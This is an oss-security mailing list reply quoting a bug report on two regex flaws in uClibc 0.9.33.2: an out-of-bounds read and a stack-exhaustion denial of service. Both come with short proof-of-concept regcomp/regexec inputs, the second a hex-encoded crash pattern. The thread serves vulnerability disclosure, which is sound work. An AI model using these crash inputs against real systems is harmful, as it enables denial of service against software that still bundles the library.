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Date: Fri, 16 Jun 2017 15:12:46 +0200
From: Peter Korsgaard <peter@...sgaard.com>
To: "fefe" <qbenjin@...com>, wbx@...nadk.org
Cc: "oss-security" <oss-security@...ts.openwall.com>
Subject: Re: two vulns in  uClibc-0.9.33.2

>>>>> "fefe" == fefe  <qbenjin@...com> writes:

 > I found two vulns in  uClibc-0.9.33.2 (https://uclibc.org/)

uClibc is dead. Active development happens on uClibc-ng. Is uClibc-ng
also affected by these issues?


> one is about line 2682 of get_subexp.c :

I take it you are referring to libc/misc/regex/regexec.c?


 > 		if (BE (bkref_str_off >= mctx->input.valid_len, 0))
 > 		{
 > 		  /* If we are at the end of the input, we cannot match.  */
 > 		  if (bkref_str_off >= mctx->input.len)
 > 		    break;


 > 		  err = extend_buffers (mctx);
 > 		  if (BE (err != REG1_NOERROR, 0))
 > 		    return err;


 > 		  buf = (const char *) re_string_get_buffer (&mctx->input);
 > 		}
 > 	      if (buf [bkref_str_off++] != buf[sl_str - 1])
 > 		break; /* We don't need to search this sub expression
		
 > "bkref_str_off >= mctx->input.valid_len" , when  bkref_str_off == mctx->input.valid_len, "buf [bkref_str_off++] != buf[sl_str - 1]" case Out of one bit bounds read


 > The poc code like:
	
 > 	if(regcomp (&regtmp,"(.+)upper\\1^", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
 > 	{		
 >         	reg1match_t pmatch[1];
 > 		regexec(&regtmp, "upperupperupperx",1, pmatch, 0);
 > 		regfree(&regtmp);
 > 	}


 > The another is aout line 1837 of regexce.c :


 > 		check_dst_limits_calc_pos_1 (const re_match_context_t *mctx, int boundaries,
 > 			     int subexp_idx, int from_node, int bkref_idx)
 >                 .......


 > 		  cpos =
 > 		    check_dst_limits_calc_pos_1 (mctx, boundaries, subexp_idx,
 > 						 dst, bkref_idx);


		
 > check_dst_limits_calc_pos_1 recursive calls case DDOS, because of stack exhaustion.


 > The poc code like:	
	
 > 	if(regcomp (&regtmp,"\x28\x2E\x3F\x3F\x28\x2E\x3F\x29\x5C\x42\x44\x3F\x3F\x28\x2E\x5C\x32\x29\x2A\x5C\x32\x28\x2E\x3F\x29\x5C\x32\x29\x2A\x5C\x32\xBD", REG_EXTENDED|REG_ICASE | REG_NOSUB )==0)
 > 	{		
 >         	reg1match_t pmatch[1];
 > 		regexec(&regtmp, "\x72\xFF\xFF\xFF\xFF\xBD",1, pmatch, 0);
 > 		regfree(&regtmp);
 > 	}

-- 
Bye, Peter Korsgaard

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